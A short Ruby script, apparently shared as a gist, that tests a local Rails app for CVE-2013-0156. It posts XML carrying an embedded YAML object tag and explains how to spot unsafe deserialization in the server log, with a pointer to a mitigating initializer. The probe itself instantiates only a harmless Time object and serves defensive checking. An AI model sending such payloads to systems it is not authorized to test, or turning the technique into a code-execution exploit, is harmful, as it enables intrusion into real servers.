Simple Rails security test for CVE-2013-0156

yml_security_test.rb

#you can copy this into IRB or just run it as a file

require "net/http"
require "uri"
# require "net/https" # for testing ssl

url = "http://localhost:3000/login"

yaml = %{ --- !ruby/object:Time {} }
xml = %{<?xml version="1.0" encoding="UTF-8"?><foo type="yaml">#{yaml}</foo>}.strip
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)

#http.use_ssl = true # if testing ssl
#http.verify_mode = OpenSSL::SSL::VERIFY_NONE # if testing ssl

request = Net::HTTP::Post.new(uri.request_uri)
request.body = xml
request["Content-Type"] = "application/xml"

puts http.request(request)

#Check your server's log files, if you see that 'foo' is an actual timestamp, you've got a problem
#Processing SessionController#new (for 127.0.0.1 at 2013-01-16 18:22:02) [POST]
#Parameters: {"action"=>"new", "foo"=>Wed Dec 31 18:00:00 -0600 1969, "controller"=>"session"}
# using the initializer file from https://gist.github.com/4505417 is a quick way to prevent the problem
# log file then shows
#  Parameters: {"action"=>"new", "controller"=>"session"}

# for ssl http://www.rubyinside.com/nethttp-cheat-sheet-2940.html



# I got the stuff I needed from  
#  http://news.ycombinator.com/item?id=5035641
# http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html